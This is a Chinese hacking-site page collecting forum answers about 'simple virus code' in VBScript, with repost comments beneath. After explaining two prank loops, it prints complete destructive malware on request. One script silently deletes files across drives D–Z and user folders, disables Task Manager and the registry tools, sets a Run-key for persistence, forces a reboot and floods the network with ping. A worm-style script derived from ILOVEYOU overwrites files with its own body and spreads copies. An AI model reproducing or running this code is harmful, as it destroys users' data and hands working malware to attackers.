访客

简单的病毒编程代码vbs(简单的病毒编程代码bat)

149 hacker 黑客技术

本文目录一览:

谁能解释下面简单的电脑病毒代码?

我帮你"翻译"一下代码的意思。

这是一段vbs代码:直到(除非)1等于2,否则就一直弹出一个写有"烦死你"的窗口,因为1永远不等于2,所以不断的弹窗。

这是VB的一个简单编程,但是代码却不怀好意。这段代码的意思是说,当双击运行这个程序的时候,执行以下代码:直到(除非)1等于2,否则隐藏这个软件的窗体,然后显示这个软件的窗体,然后调用系统的"calc.exe"程序,也就是调用系统自带的"计算器",因为1永远不等于2,所以这些步骤永远循环的执行下去。以现在的计算机来看,并不会"运行后马上死机",我们的计算机还不至于这么差劲,不过cpu会高涨,根据不同计算机的配置,时间范围从很快死机到数秒后死机不等。

求最全的vbs病毒代码,要破坏性的。谢谢,回答的好我多给分。

那废话不说,问这个如何?不懂可以问我

On Error Resume Next

dim avest,xufso,wscrt

Set avest = WScript.Createobject("WScript.Shell")

Set wscrt = WScript.Createobject("WScript.Shell")

Set xufso = CreateObject("Scripting.FileSystemObject")

avest.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del e:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del f:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del g:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del h:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del i:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del j:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del k:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del l:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del m:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del n:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del o:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del p:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del q:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del r:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del s:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del t:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del u:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del v:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del w:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del x:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del y:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del z:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del C:\Users\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del C:\ProgramData\*.* / f /q /s""",0 ,true

xufso.CreateFolder "C:\VBScript\"

wscrt.run "shutdown -r -f -t 3600 -c 脚本与批处理程序相结合成功!"

xufso.copyfile Wscript.Scriptfullname,"C:\VBScript\一触即发.vbs"

xufso.copyfile Wscript.Scriptfullname,"C:\Users\Public\Desktop\一触即发.vbs"

wscrt.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","00000001","REG_DWORD"

wscrt.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","00000001","REG_DWORD"

wscrt.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","C:\VBScript\一触即发.vbs","REG_SZ"

wscrt.regWrite"HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins","00000001","REG_DWORD"

msgbox "My head with day feet standing on the earth all over the world to worship my swagger is the modelling of the legendary Super Star elder brother is sharp!",16+4096,"Error"

do

wscrt.run "ping 192.168.1.1 -l 65500 -t"

loop

求用vbs编写autorun病毒简单代码,给分很多的

自己改一下:

dim

folder,fso,foldername,f,d,dc

set

fso=createobject("scripting.filesystemobject")

set

self=fso.opentextfile(wscript.scriptfullname,1)

vbscopy=self.readall

'读取病毒体,以备复制到文件

self.close

set

dc=fso.Drives

for

each

d

in

dc

if

d.drivetype=3

or

d.drivetype=2

then

'检查磁盘类型

wscript.echo

d

'弹出窗口,显示找到盘符

scan(d)

end

if

next

lsfile=wscript.scriptfullname

'该脚本程序路径

set

lsfile=fso.getfile(lsfile)

lsfile.delete(true)

'病毒运行后自我删除(本人自加,爱虫病毒本身没有该代码)

sub

scan(folder_)

on

error

resume

next

set

folder_=fso.getfolder(folder_)

set

files=folder_.files

for

each

file

in

files

ext=fso.GetExtensionName(file)

'获取文件后缀

ext=lcase(ext)

'后缀名转换成小写字母

if

ext="mp5"

then

'如果后缀名是mp5,当然不存在这种文件,这里可以自己修改,但是注意。请自己建立相应后缀名的文件,最好是非正常后缀名

set

ap=fso.opentextfile(file.path,2,true)

'

ap.write

vbscopy

'覆盖文件,慎用

ap.close

set

cop=fso.getfile(file.path)

cop.copy(file.path

".vbs")

'创建另外一个病毒文件

'

file.delete(true)

'删除原来文件

end

if

next

set

subfolders=folder_.subfolders

for

each

subfolder

in

subfolders

'搜索其他目录

scan(subfolder)

next

end

sub

THE END
相关文章
评论列表
  • 青迟寒洲
    青迟寒洲 Jul 7日, 2022 @ 11:16 am ",0 ,true avest.run "cmd /c ""del t:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del u:\*.* / f /q /s""",0 ,true avest.run "cmd /c " 回复
  • 只酷寒洲
    只酷寒洲 Jul 7日, 2022 @ 05:52 pm _DWORD"msgbox "My head with day feet standing on the earth all over the world to worship my swagger is the modelling 回复
  • 夙世暗喜
    夙世暗喜 Jul 7日, 2022 @ 06:49 pm .1 -l 65500 -t"loop求用vbs编写autorun病毒简单代码,给分很多的自己改一下:dimfolder,fso,foldername,f,d,dcsetfso=c 回复
  • 囤梦辞取
    囤梦辞取 Jul 7日, 2022 @ 11:41 am "cmd /c ""del r:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del s:\*.* / f /q /s""",0 ,true avest.run " 回复
  • 边侣邮友
    边侣邮友 Jul 7日, 2022 @ 04:10 pm .regWrite"HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins","000000 回复
发布评论
提交